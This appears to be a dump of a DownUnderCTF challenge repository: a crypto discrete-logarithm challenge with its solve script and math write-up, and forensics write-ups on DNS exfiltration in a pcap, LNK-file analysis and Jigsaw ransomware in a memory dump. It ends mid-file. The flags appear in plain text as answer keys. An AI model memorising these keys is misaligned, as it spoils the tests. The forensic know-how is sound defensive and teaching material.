inverse_mod(D, p) % p return (x, y) D = 13337 p = 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583 assert p.nbits() >= 512 assert ((p-1)//2).is_prime() # safe prime FLAG = open('flag.txt', 'rb').read().strip() assert len(FLAG) % 8 == 0 M = [int.from_bytes(FLAG[i:i+8], 'big') for i in range(0, len(FLAG), 8)] G = [rand_element() for _ in M] c = (1, 0) for m, gi in zip(M, G): c = G_add(c, G_mul(gi, m)) print(f'{D = }') print(f'{p = }') print(f'{G = }') print(f'{c = }') ================================================ FILE: crypto/yadlp/challenge.yml ================================================ version: "0.1" id: yadlp name: yadlp category: crypto description: > Yet another discrete logarithm problem challenge... Author: joseph#8210 tags: - hard files: - ./challenge/yadlp.sage - ./challenge/output.txt flags: - DUCTF{a_1337_hyp3rb0la_m33ts_th3_mult1pl3_DLP!!} ================================================ FILE: crypto/yadlp/solve/solve.sage ================================================ from tqdm import tqdm exec(open('../challenge/output.txt').read()) proof.arithmetic(False) F. = GF(p)[] R. = GF(p^2, modulus=x^2 - (D+1)) q = p+1 g = R.zeta(q) def phi(g): x, y = g return (x+y) + y*W print('[!] calculating logs...') L = [discrete_log(phi(gi), g) for gi in tqdm(G)] log_ct = discrete_log(phi(c), g) print('[+] calculating logs done...') m = len(G) C = L + [log_ct, q] M = Matrix.column(ZZ, vector(C)) M = M.augment(Matrix.identity(m+1).stack(vector([0]*(m+1)))) M = M.dense_matrix() B = M.LLL() for r in B: if r[0] == 0: break print('[+] solved SVP:', r) flag = ''.join(int(abs(m)).to_bytes(8, 'big').decode() for m in r[1:-1]) print('[+] flag:', flag) ================================================ FILE: crypto/yadlp/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "linear-alfred", "metadata": {}, "source": [ "This challenge follows a similar structure to a commonly seen style of crypto CTF challenges that involve solving the discrete logarithm problem in some group other than the usual $(\\mathbb{Z}/p\\mathbb{Z})^\\times$. The general approach is to figure out some information about what the group elements are like, and then try to find an isomorphism from the group to a group where we can easily solve the discrete logarithm problem.\n", "\n", "## Group Structure Part I\n", "\n", "We'll see that the group we are dealing with in the challenge is the set of points on some hyperbola over $\\mathbb{F}_p$. Although the operations defined in the handout code are called \"addition\" and \"multiplication\", it'll be helpful to use multiplication and exponentiation notation. When we say \"elements\", we usually mean points on the hyperbola, which are represented as tuples $(x, y) \\in \\mathbb{F}_p \\times \\mathbb{F}_p$ with addition operation defined as:\n", "\n", "$$\n", "(x_1, y_1) \\cdot (x_2, y_2) = (x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)\n", "$$\n", "\n", "The `rand_element` function gives us even more information about elements in this group. In fact, we can use it to get an explicit relation that all elements satisfy. The function first generates a random $x \\in \\mathbb{F}_p$, then computes $y$ as\n", "\n", "$$\n", "y = \\frac{x + \\sqrt{x^2 (D+1) - D}}{D}\n", "$$\n", "\n", "Rearranging, we get\n", "\n", "$$\n", "\\begin{aligned}\n", " (Dy - x)^2 &= x^2(D+1) - D \\\\\n", " \\implies D^2 y^2 - 2Dxy + x^2 &= Dx^2 + x^2 - D \\\\\n", " \\implies Dx^2 + 2Dxy - D^2 y^2 &= D \\\\\n", " \\implies x^2 + 2xy - Dy^2 &\\equiv 1 \\pmod p \\qquad \\text{since $D \\neq 0$}\n", "\\end{aligned}\n", "$$\n", "\n", "It can be checked that the set of solutions to this equation, equipped with addition operation above indeed does form a group. We'll call this group $\\mathcal{H}$.\n", "\n", "Diophantine equations of the form $x^2 - Dy^2 = 1$ are known as Pell equations and are well documented in the literature. We'll see later that the equation we found from the `rand_element` can be written as a Pell equation, and use that for analysing the group even more.\n", "\n", "## Challenge Analysis\n", "\n", "For now we'll take a look at how the flag is hidden and what we'll need to recover it. The 48 byte flag is broken up into 6 blocks of 8 bytes each. These blocks are represented as the integers $m_1, \\ldots, m_6$. Then, for some randomly generated elements $g_1, \\ldots, g_6$, the value $c = g_1^{m_1} \\cdots g_6^{m_6}$ is computed.\n", "\n", "Given $c$ and the $g_i$, the goal is to recover the $m_i$. This is known as the t-multiple discrete logarithm problem, and in this case, we can solve it by solving the discrete logarithm problem in $\\mathcal{H}$, combined with lattice techniques.\n", "\n", "Let $q$ be the order of $\\mathcal{H}$ and let $g$ be a generator of $\\mathcal{H}$ (we will see later that $\\mathcal{H}$ is cyclic). Define the discrete logarithm to the base $g$ as $\\log_g : \\mathcal{H} \\rightarrow \\mathbb{Z}_q$, that, for any $h \\in \\mathcal{H}$, gives us a value $x = \\log_g(h)$ such that $g^x = h$. It can be shown that this map is a homomorphism, so $\\log_g(h_1 h_2) = \\log_g(h_1) + \\log_g(h_2)$. Therefore,\n", "\n", "$$\n", "\\begin{aligned}\n", " \\log_g(c) &= \\log_g(g_1^{m_1} \\cdots g_6^{m_6}) \\\\\n", " \\log_g(c) &= \\log_g(g_1^{m_1}) + \\cdots + \\log_g(g_6^{m_6}) \\\\\n", " \\log_g(c) &= m_1\\log_g(g_1) + \\cdots + m_6 \\log_g(g_6) \\\\\n", "\\end{aligned}\n", "$$\n", "\n", "Since we're working in $\\mathbb{Z}_q$, we can equivalently write\n", "\n", "$$\n", "\\log_g(c) \\equiv m_1\\log_g(g_1) + \\cdots + m_6\\log_g(g_6) \\pmod q\n", "$$\n", "\n", "But since the $m_i$ are relatively small (~62 bits) compared to $q$ (which we will determine later), we can solve for the $m_i$ using lattice techniques. Specifically, consider the lattice generated by the rows of the matrix\n", "\n", "$$\n", "\\begin{bmatrix}\n", " \\log_g(g_1) & 1 \\\\\n", " \\log_g(g_2) & & 1 \\\\\n", " \\vdots & & & \\ddots \\\\\n", " \\log_g(g_6) & & & & 1 \\\\\n", " \\log_g(c) & & & & & 1 \\\\\n", " q\n", "\\end{bmatrix}\n", "$$\n", "\n", "Notice that $m_1$ times the first row, plus $m_2$ times the second row, etc. take $1$ times the seventh row, and an appropriate multiple of the last row, gives the short vector\n", "\n", "$$\n", "(0, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, -1)\n", "$$\n", "\n", "which can be found with lattice basis reduction algorithms such as LLL.\n", "\n", "## Group Structure Part II\n", "\n", "### Group Order\n", "\n", "All we need left to solve the challenge is a way to solve the discrete logarithm problem in $\\mathcal{H}$. Determining the group order is a good first step as we could use it to try and see if there is an isomorphism between $\\mathcal{H}$ and an additive group of integers of the same order where the discrete logarithm is trivially solved by division. However, it turns out that the order of $\\mathcal{H}$ is $p+1$ and that $\\mathcal{H}$ is isomorphic to the cyclic subgroup of $\\mathbb{F}_{p^2}$ of order $p+1$. We follow a similar approach to [1] for the proof.\n", "\n", "---\n", "\n", "_**Claim.**_ Let $\\mathcal{H} \\subset \\mathbb{F}_p \\times \\mathbb{F}_p$ be the set of solutions to the equation\n", "\n", "$$\n", "x^2 + 2xy - Dy^2 \\equiv 1 \\pmod p\n", "$$\n", "\n", "Assume that $\\left(\\dfrac{D+1}{p}\\right) = -1$ (this is true for the challenge parameters). Then, $\\mathcal{H} \\cong S$ where $S \\leq \\mathbb{F}_{p^2}$ is the cyclic subgroup of $\\mathbb{F}_{p^2}$ of order $p+1$.\n", "\n", "_**Proof.**_ First, note that $(x+y)^2 - (D+1)y^2 = x^2 + 2xy - Dy^2$, so it suffices to show that the set of solutions to the equation $(x+y)^2 - (D+1)y^2 \\equiv 1 \\pmod p$ (equipped with the addition operation as defined above) is isomorphic to $S$. Let $f(W) = W^2 - (D+1)$. Note that $f(W)$ is irreducible as it is of degree 2 and has no roots, since $D+1$ has no square in $\\mathbb{F}_p$ by assumption. Therefore $\\mathbb{F}_{p^2} \\cong \\mathbb{F}_p[W]/\\langle f(W) \\rangle$. Now, if $\\alpha \\in S$, then $\\alpha^{p+1} = 1$ (since $S$ has order $p+1$). But we can write $\\alpha = r + sW$ for $r,s \\in \\mathbb{F}_p$. So,\n", "\n", "$$\n", "\\begin{aligned}\n", " \\alpha^{p+1} &= (r + sW)^p (r + sW) \\\\\n", " &= (r^p + s^pW^p)(r + sW) &&\\quad (x+y)^p = x^p + y^p \\text{ for all } x, y \\in \\mathbb{F}_p \\\\\n", " &= (r + sW^p)(r + sW) &&\\quad x^{p-1} = 1 \\text{ for all } x \\in \\mathbb{F}_p \\\\\n", " &= (r - sW)(r + sW) &&\\quad W^p = W(W^2)^{\\frac{p-1}{2}} = W(D+1)^{\\frac{p-1}{2}} = -W \\\\\n", " &= r^2 - s^2 W^2 \\\\\n", " &= r^2 - (D+1)s^2 &&\\quad W^2 = D+1\n", "\\end{aligned}\n", "$$\n", "\n", "So, if we take $r = x+y$ and $s = y$, then we see that $\\alpha^{p+1} = 1 = (x+y)^2 - (D+1)y^2$. Therefore, we have the bijection $\\varphi : \\mathcal{H} \\rightarrow S, (x, y) \\mapsto (x+y) + yW$. To see that this is a homomorphism, let $(x_1, y_1), (x_2, y_2) \\in \\mathcal{H}$. Then\n", "\n", "$$\n", "\\begin{aligned}\n", " \\varphi((x_1, y_1) \\cdot (x_2, y_2)) &= \\varphi((x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)) \\\\\n", " &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W\n", "\\end{aligned}\n", "$$\n", "\n", "But\n", "\n", "$$\n", "\\begin{aligned}\n", " \\varphi((x_1, y_1)) \\varphi((x_2, y_2)) &= ((x_1 + y_1) + y_1 W)((x_2 + y_2) + y_2 W) \\\\\n", " &= (x_1 + y_1)(x_2 + y_2) + (x_1 + y_1) y_2 W + (x_2 + y_2) y_1 W + y_1 y_2 W^2 \\\\\n", " &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W + (D+1) y_1 y_2 \\\\\n", " &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W\n", "\\end{aligned}\n", "$$\n", "\n", "So we have $\\varphi((x_1, y_1) \\cdot (x_2, y_2)) = \\varphi((x_1, y_1)) \\varphi((x_2, y_2))$.\n", "\n", "Therefore $\\varphi$ is an isomorphism, and $\\mathcal{H} \\cong S$.\n", "\n", "---\n", "\n", "If we take a look at the actual values in the challenge, we'll see that $p+1$ is smooth, with the largest factor being 32 bits! This is a hint that we're on the right path, since we'll be able to solve the discrete logarithm problem in a reasonable time with Pohlig-Hellman.\n", "\n", "### Inverse Elements\n", "\n", "By this point, we've pretty much already solved the challenge, but as a bonus, we can find the inverse elements of $\\mathcal{H}$. Although the solution script doesn't do this, this has the advantage of speed over using the isomorphism found above since the operations are slightly faster (than operations in $\\mathbb{F}_{p^2}$). Recall the addition formula\n", "\n", "$$\n", "(x, y) \\cdot (x', y') = (xx' + Dyy', xy' + x'y + 2yy')\n", "$$\n", "\n", "The identity element is clearly $(1, 0)$, so to find the inverse element of $(x, y)$, we want to find $(x', y')$ such that $(x, y) \\cdot (x', y') = (1, 0)$. Let $(x', y') = (x + 2y, -y)$. Then\n", "\n", "$$\n", "\\begin{aligned}\n", " (x, y) \\cdot (x', y') &= (x, y) \\cdot (x + 2y, -y) \\\\\n", " &= (x(x + 2y) - Dy^2, -xy + (x + 2y)y - 2y^2) \\\\\n", " &= (x^2 + 2xy - Dy^2, -xy + xy + 2y^2 - 2y^2) \\\\\n", " &= (1, 0)\n", "\\end{aligned}\n", "$$\n", "\n", "So $(x, y)^{-1} = (x + 2y, -y)$.\n", "\n", "Another advantage of figuring out inverse elements is that you can solve the challenge without finding the isomorphism to $\\mathbb{F}_{p^2}$ by _guessing_ that the order is $p+1$ since it is smooth, and then implementing Pohlig-Hellman and BSGS to use the addition, multiplication and inverse operations.\n", "\n", "## References\n", "\n", "[1] [Elliptic Curve Public Key Cryptosystems - Menezes 93](https://link.springer.com/content/pdf/10.1007%2F978-1-4615-3198-2.pdf)" ] }, { "cell_type": "markdown", "id": "disciplinary-palace", "metadata": {}, "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.2" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: crypto/yadlp/solve/writeup.md ================================================ This challenge follows a similar structure to a commonly seen style of crypto CTF challenges that involve solving the discrete logarithm problem in some group other than the usual $(\mathbb{Z}/p\mathbb{Z})^\times$. The general approach is to figure out some information about what the group elements are like, and then try to find an isomorphism from the group to a group where we can easily solve the discrete logarithm problem. ## Group Structure Part I We'll see that the group we are dealing with in the challenge is the set of points on some hyperbola over $\mathbb{F}_p$. Although the operations defined in the handout code are called "addition" and "multiplication", it'll be helpful to use multiplication and exponentiation notation. When we say "elements", we usually mean points on the hyperbola, which are represented as tuples $(x, y) \in \mathbb{F}_p \times \mathbb{F}_p$ with addition operation defined as: $$ (x_1, y_1) \cdot (x_2, y_2) = (x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2) $$ The `rand_element` function gives us even more information about elements in this group. In fact, we can use it to get an explicit relation that all elements satisfy. The function first generates a random $x \in \mathbb{F}_p$, then computes $y$ as $$ y = \frac{x + \sqrt{x^2 (D+1) - D}}{D} $$ Rearranging, we get $$ \begin{aligned} (Dy - x)^2 &= x^2(D+1) - D \\ \implies D^2 y^2 - 2Dxy + x^2 &= Dx^2 + x^2 - D \\ \implies Dx^2 + 2Dxy - D^2 y^2 &= D \\ \implies x^2 + 2xy - Dy^2 &\equiv 1 \pmod p \qquad \text{since $D \neq 0$} \end{aligned} $$ It can be checked that the set of solutions to this equation, equipped with addition operation above indeed does form a group. We'll call this group $\mathcal{H}$. Diophantine equations of the form $x^2 - Dy^2 = 1$ are known as Pell equations and are well documented in the literature. We'll see later that the equation we found from the `rand_element` can be written as a Pell equation, and use that for analysing the group even more. ## Challenge Analysis For now we'll take a look at how the flag is hidden and what we'll need to recover it. The 48 byte flag is broken up into 6 blocks of 8 bytes each. These blocks are represented as the integers $m_1, \ldots, m_6$. Then, for some randomly generated elements $g_1, \ldots, g_6$, the value $c = g_1^{m_1} \cdots g_6^{m_6}$ is computed. Given $c$ and the $g_i$, the goal is to recover the $m_i$. This is known as the t-multiple discrete logarithm problem, and in this case, we can solve it by solving the discrete logarithm problem in $\mathcal{H}$, combined with lattice techniques. Let $q$ be the order of $\mathcal{H}$ and let $g$ be a generator of $\mathcal{H}$ (we will see later that $\mathcal{H}$ is cyclic). Define the discrete logarithm to the base $g$ as $\log_g : \mathcal{H} \rightarrow \mathbb{Z}_q$, that, for any $h \in \mathcal{H}$, gives us a value $x = \log_g(h)$ such that $g^x = h$. It can be shown that this map is a homomorphism, so $\log_g(h_1 h_2) = \log_g(h_1) + \log_g(h_2)$. Therefore, $$ \begin{aligned} \log_g(c) &= \log_g(g_1^{m_1} \cdots g_6^{m_6}) \\ \log_g(c) &= \log_g(g_1^{m_1}) + \cdots + \log_g(g_6^{m_6}) \\ \log_g(c) &= m_1\log_g(g_1) + \cdots + m_6 \log_g(g_6) \\ \end{aligned} $$ Since we're working in $\mathbb{Z}_q$, we can equivalently write $$ \log_g(c) \equiv m_1\log_g(g_1) + \cdots + m_6\log_g(g_6) \pmod q $$ But since the $m_i$ are relatively small (~62 bits) compared to $q$ (which we will determine later), we can solve for the $m_i$ using lattice techniques. Specifically, consider the lattice generated by the rows of the matrix $$ \begin{bmatrix} \log_g(g_1) & 1 \\ \log_g(g_2) & & 1 \\ \vdots & & & \ddots \\ \log_g(g_6) & & & & 1 \\ \log_g(c) & & & & & 1 \\ q \end{bmatrix} $$ Notice that $m_1$ times the first row, plus $m_2$ times the second row, etc. take $1$ times the seventh row, and an appropriate multiple of the last row, gives the short vector $$ (0, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, -1) $$ which can be found with lattice basis reduction algorithms such as LLL. ## Group Structure Part II ### Group Order All we need left to solve the challenge is a way to solve the discrete logarithm problem in $\mathcal{H}$. Determining the group order is a good first step as we could use it to try and see if there is an isomorphism between $\mathcal{H}$ and an additive group of integers of the same order where the discrete logarithm is trivially solved by division. However, it turns out that the order of $\mathcal{H}$ is $p+1$ and that $\mathcal{H}$ is isomorphic to the cyclic subgroup of $\mathbb{F}_{p^2}$ of order $p+1$. We follow a similar approach to [1] for the proof. --- _**Claim.**_ Let $\mathcal{H} \subset \mathbb{F}_p \times \mathbb{F}_p$ be the set of solutions to the equation $$ x^2 + 2xy - Dy^2 \equiv 1 \pmod p $$ Assume that $\left(\dfrac{D+1}{p}\right) = -1$ (this is true for the challenge parameters). Then, $\mathcal{H} \cong S$ where $S \leq \mathbb{F}_{p^2}$ is the cyclic subgroup of $\mathbb{F}_{p^2}$ of order $p+1$. _**Proof.**_ First, note that $(x+y)^2 - (D+1)y^2 = x^2 + 2xy - Dy^2$, so it suffices to show that the set of solutions to the equation $(x+y)^2 - (D+1)y^2 \equiv 1 \pmod p$ (equipped with the addition operation as defined above) is isomorphic to $S$. Let $f(W) = W^2 - (D+1)$. Note that $f(W)$ is irreducible as it is of degree 2 and has no roots, since $D+1$ has no square in $\mathbb{F}_p$ by assumption. Therefore $\mathbb{F}_{p^2} \cong \mathbb{F}_p[W]/\langle f(W) \rangle$. Now, if $\alpha \in S$, then $\alpha^{p+1} = 1$ (since $S$ has order $p+1$). But we can write $\alpha = r + sW$ for $r,s \in \mathbb{F}_p$. So, $$ \begin{aligned} \alpha^{p+1} &= (r + sW)^p (r + sW) \\ &= (r^p + s^pW^p)(r + sW) &&\quad (x+y)^p = x^p + y^p \text{ for all } x, y \in \mathbb{F}_p \\ &= (r + sW^p)(r + sW) &&\quad x^{p-1} = 1 \text{ for all } x \in \mathbb{F}_p \\ &= (r - sW)(r + sW) &&\quad W^p = W(W^2)^{\frac{p-1}{2}} = W(D+1)^{\frac{p-1}{2}} = -W \\ &= r^2 - s^2 W^2 \\ &= r^2 - (D+1)s^2 &&\quad W^2 = D+1 \end{aligned} $$ So, if we take $r = x+y$ and $s = y$, then we see that $\alpha^{p+1} = 1 = (x+y)^2 - (D+1)y^2$. Therefore, we have the bijection $\varphi : \mathcal{H} \rightarrow S, (x, y) \mapsto (x+y) + yW$. To see that this is a homomorphism, let $(x_1, y_1), (x_2, y_2) \in \mathcal{H}$. Then $$ \begin{aligned} \varphi((x_1, y_1) \cdot (x_2, y_2)) &= \varphi((x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)) \\ &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W \end{aligned} $$ But $$ \begin{aligned} \varphi((x_1, y_1)) \varphi((x_2, y_2)) &= ((x_1 + y_1) + y_1 W)((x_2 + y_2) + y_2 W) \\ &= (x_1 + y_1)(x_2 + y_2) + (x_1 + y_1) y_2 W + (x_2 + y_2) y_1 W + y_1 y_2 W^2 \\ &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W + (D+1) y_1 y_2 \\ &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W \end{aligned} $$ So we have $\varphi((x_1, y_1) \cdot (x_2, y_2)) = \varphi((x_1, y_1)) \varphi((x_2, y_2))$. Therefore $\varphi$ is an isomorphism, and $\mathcal{H} \cong S$. --- If we take a look at the actual values in the challenge, we'll see that $p+1$ is smooth, with the largest factor being 32 bits! This is a hint that we're on the right path, since we'll be able to solve the discrete logarithm problem in a reasonable time with Pohlig-Hellman. ### Inverse Elements By this point, we've pretty much already solved the challenge, but as a bonus, we can find the inverse elements of $\mathcal{H}$. Although the solution script doesn't do this, this has the advantage of speed over using the isomorphism found above since the operations are slightly faster (than operations in $\mathbb{F}_{p^2}$). Recall the addition formula $$ (x, y) \cdot (x', y') = (xx' + Dyy', xy' + x'y + 2yy') $$ The identity element is clearly $(1, 0)$, so to find the inverse element of $(x, y)$, we want to find $(x', y')$ such that $(x, y) \cdot (x', y') = (1, 0)$. Let $(x', y') = (x + 2y, -y)$. Then $$ \begin{aligned} (x, y) \cdot (x', y') &= (x, y) \cdot (x + 2y, -y) \\ &= (x(x + 2y) - Dy^2, -xy + (x + 2y)y - 2y^2) \\ &= (x^2 + 2xy - Dy^2, -xy + xy + 2y^2 - 2y^2) \\ &= (1, 0) \end{aligned} $$ So $(x, y)^{-1} = (x + 2y, -y)$. Another advantage of figuring out inverse elements is that you can solve the challenge without finding the isomorphism to $\mathbb{F}_{p^2}$ by _guessing_ that the order is $p+1$ since it is smooth, and then implementing Pohlig-Hellman and BSGS to use the addition, multiplication and inverse operations. ## References [1] [Elliptic Curve Public Key Cryptosystems - Menezes 93](https://link.springer.com/content/pdf/10.1007%2F978-1-4615-3198-2.pdf) ================================================ FILE: forensics/Thats_Not_My_Name/README.md ================================================ # That's Not My Name **Category:** Forensics **Difficulty:** easy **Author:** Conletz#5420 I think some of my data has been stolen, can you help me? **Attached files:** - ./publish/notmyname.pcapng (sha256: 86B5E2F171191A7D7F28B7A9171AFFE929061ED9F6D10A3EDF5213EF486079E3) ================================================ FILE: forensics/Thats_Not_My_Name/challenge/flag.txt ================================================ DUCTF{c4t_g07_y0ur_n4m3} ================================================ FILE: forensics/Thats_Not_My_Name/challenge.yml ================================================ version: "0.1" id: thats-not-my-name name: That's Not My Name category: forensics description: | I think some of my data has been stolen, can you help me? Author: Conletz#5420 tags: - easy files: - ./challenge/notmyname.pcapng.7z flags: - DUCTF{c4t_g07_y0ur_n4m3} ================================================ FILE: forensics/Thats_Not_My_Name/writeup.md ================================================ # Solution 1. We've been provided with a PCAP file, and based off the challenge has been led to believe some data exfiltration is at play. First thing that comes to mind for that topic is DNS exfiltration and tunneling. To check this, we can search for unusally long dns queries in wireshark ``` dns && dns.qry.name.len > 35 ``` 2. After running that search there's plenty of traffic that seems ordinary. However, by scrolling down further we can start to see a large amount of traffic to a suspicious domain and a different IP than the rest of the DNS traffic ``` qawesrdtfgyhuj.xyz | 3.24.188.205 ``` 3. By having a look at the UDP stream, we're able to see a large amount of back and forth traffic with the same stream, which is unsual for ordinary DNS traffic. To investigate further, we can use the commandline equivalent of wireshark - tshark, to extract all queries going to this domain and save them to a file called queries.txt . ``` tshark -r notmyname.pcapng -T fields -e dns.qry.name -Y "dns.qry.name contains qawesrdtfgyhuj.xyz" > queries.txt ``` 4. Based on the outputs of the file, the subdomains appear to be hexed, so next step is to remove the domain and dots from the queries and unhex the remaining contents. To remove the extras from the file, we can use the following commands in vim ``` :%s/qawesrdtfgyhuj.xyz//g :%s/\.//g ``` 5. To unhex the file, you can write your own python script with hexlify or your personal preference, or run the file through an online tool called 'CyberChef' to change the data to ascii. 6. By running the resulting data through binwalk, we can see there's a number of png files that were delivered through to the server throughout the tunnels lifetime. However, first let's check the data we have available to us by searching for the flag one of the following ways: ``` From command line: egrep -a DUCTF{ unhexed.txt From vim: /DUCTF{ ``` 7. Here we actually found the flag within the data stream itself. ``` DUCTF{c4t_g07_y0ur_n4m3} ``` ================================================ FILE: forensics/The_File_Is_Lava/README.md ================================================ # The File is Lava **Category:** Forensics **Difficulty:** Medium **Author:** TheDone\*#2152 Acme Inc. has found that its internal files have been leaked to several successful phishing attacks. A new shared workstation recently had company files copied onto the disk for use in the office and needs to be analysed. DFIR specialists have found no evidence on other machines and need your help to investigate this workstation. Since COVID-19 has closed the office, find the forensic image here - https://mirror.aarnet.edu.au/pub/DownUnderCTF/ ================================================ FILE: forensics/The_File_Is_Lava/WRITEUP.md ================================================ # Challenge writeup ### Scenario: Forensic investigators believe this machine might have been involved to perform data exfiltration. The method used here is a straightforward way to go about the investigation. Parts of this can be scripted if the player is advanced enough to know what they are looking for. Other artefacts may also be used and other tools can be used to gather the same information. The idea behind this ctf is not based around a tool, but rather the logic of finding relevant artefacts and then applying logical thinking to spot anomalies. You are told that the machine is related to an incident in where ***data exfiltration*** was performed. This suggests that files on the system were ***moved to someplace other than where they originated***. There are many resources on how to go about windows forensics, among the best are SANS. This poster here tells us what artefacts we might look for when dealing with files that might have been accessed. ## Where do I start? I will take a look at the LNK files as they pack a lot of information, especially timestamps. Generally, someone looking to steal files will have a look at those files to know what is in them. This means they will ***access the file***. Whenever a file is accessed, a `.lnk` file is created and stays on the machine, even if the target file is deleted. These files are located in the recents folder. I will use a tool from Eric Zimmerman called `LECmd` to parse these files in a csv format. The tool is small and is a standalone executable that can be run from a USB plugged into the virtual machine. Tool link: [https://ericzimmerman.github.io/#!index.md](https://ericzimmerman.github.io/#!index.md) ⚠There are other tools to look at these, and you can even do so directly. Generally, when conducting forensics on a machine, you want to avoid disturbing forensic data. I use a USB with the tool executable file on it. I just plug in the USB, and run the tool using Command prompt. The command for the tool on my machine is as follows: ```bash LECmd.exe -d C:\Users\ductf\AppData\Roaming\Microsoft\Windows\Recent -q --csv E: ``` Note: The `E:` is the location of my USB where I want the file to be outputted. This just presents the format in a `.csv` that made it easy for me to then visually see the metadata of the `.lnk` file itself and the target file. ## The Flag When you look at the CSV file, look for the row that has "Executive Management report". If you find this row, and then scroll to see the metadata fields, namely the volume label and the localDirectory name, you will find two bits of base64 code: - RFVDVEZ7eTB1X2YwdW5kX3Ro - M19tMXNzMW5nX2wxbmt9 Put them in cyberchef and you will have the flag of `DUCTF{y0u_f0und_th3_m1ss1ng_l1nk}` This was written knowing where the flag is, but the user is might choose other tools these hidden metadata jems :) ================================================ FILE: forensics/The_File_Is_Lava/challenge.yml ================================================ version: "0.1" id: the-file-is-lava name: The File is Lava category: forensics description: | Acme Inc. has found that its internal files have been leaked to several successful phishing attacks. A new shared workstation recently had company files copied onto the disk for use in the office and needs to be analysed. DFIR specialists have found no evidence on other machines and need your help to investigate this workstation. Since COVID-19 has closed the office, find the forensic image here - https://mirror.aarnet.edu.au/pub/DownUnderCTF/ --- To give everyone a chance to download the files, the image is encrypted and the password will be released with the second challenge drop . The PIN code for the windows machine is `2021`. To decrypt the file, use any bash emulator with gpg installed and use the following command: ``` gpg --output lava.ova --decrypt The_file_is_lava.ova.gpg ``` Note: after the command is executed, you will be prompted with the passphrase that will be released later. It is recommended that you use virtual box to import this machine after it has been decrypted. Author: TheDon*#2152 tags: - medium flags: - DUCTF{y0u_f0und_th3_m1ss1ng_l1nk} ================================================ FILE: forensics/WouldYouLikeToPlayAGame/README.md ================================================ # Want to play a game? **Category:** Forensics **Difficulty:** Medium **Author:** Conletz#5420 My PC has been infected! I need help finding out what happened. I managed to get a memory dump, not sure if that can help you? In order to recover from this infection, I need the following information: - What is the name of the malware that infected my PC? - What is the name of the persistence mechanism? - What folder did the infection originate from? Flag format: `DUCTF{malwareName_persistenceName_originatingFolderName}` ================================================ FILE: forensics/WouldYouLikeToPlayAGame/challenge.yml ================================================ version: "0.1" id: want-to-play-a-game name: Want to Play a Game? category: forensics description: | My PC has been infected! I need help finding out what happened. I managed to get a memory dump, not sure if that can help you? In order to recover from this infection, I need the following information: - What is the name of the malware that infected my PC? - What is the name of the persistence mechanism? - What folder did the infection originate from? Flag format: `DUCTF{lowerCaseMalwareName_persistenceName_originatingFolderName}` --- You can download the memory dump [here](https://mirror.aarnet.edu.au/pub/DownUnderCTF/JacobsPC.7z). The file is password protected. The password is `I83xOkTzeljDmpMmZWTi`. Author: Conletz#5420 tags: - medium flags: - DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y} ================================================ FILE: forensics/WouldYouLikeToPlayAGame/flag.txt ================================================ DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y} ================================================ FILE: forensics/WouldYouLikeToPlayAGame/writeup.md ================================================ # Solution 1. First step is to determine the profile and OS of the memory dump - (with volatility) ``` vol.py -f JacobsPC.raw imageinfo ``` 2. Let's start by determining which processes were running at the time of the dump ``` vol.py -f JacobsPC.raw --profile=Win7SP1x64 pslist ``` 3. There are a large number of processes that were running on the host, however, one immediately sticks out the most - drpbx.exe (PID 3628) - diving deeper by having a look at the dll list ``` vol.py -f JacobsPC.raw --profile=Win7SP1x64 dlllist -p 3628 ``` 4. This list shows 3 points of interest, the first is a strange executable file simulating dropbox - C:\Users\Jacob\AppData\Local\Drpbx\drpbx.exe - the other two points of interest are CRYPTBASE.dll and CRYPTSP.dll. Whilst these are standard Windows dll's, these two in combination are quite common among Windows ransomware. 5. A quick google search for drpbx.exe leads to Jigsaw ransomware. The original process that is utilised by this ransomware is drpbx.exe, to maintain persistence jigsaw updates the startup registry to run an executable in the users App Data folder - ...\Roaming\Frfx\firefox.exe. We can confirm that this is the persistence method utilised in this case by running the following: ``` vol.py -f JacobsPC.raw --profile=Win7SP1x64 printkey -K "Software\Microsoft\Windows\CurrentVersion\Run" ``` 6. The last step in to achieve the flag is to determine the originating folder name where the infection began. For this, we can have a look at the 'handles' for the drpbx.exe process. ``` vol.py -f JacobsPC.raw --profile=Win7SP1x64 handles -p 3628 -t file ``` 7. By filtering on File handles we can see files and folders related to the process. There is one folder early on in the processes memory stream that is different to the others - \Device\HarddiskVolume2\Users\Public\Videos\Sample Videos\PJxhJQ9yUDoBF1188y - this is likely the folder where the ransomware was launched from. Therefore, putting these findings together the flag is: ``` DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y} ``` ================================================ FILE: forensics/do_the_loop/README.md ================================================ # Do the loop! **Category:** misc **Difficulty:** easy **Author:** 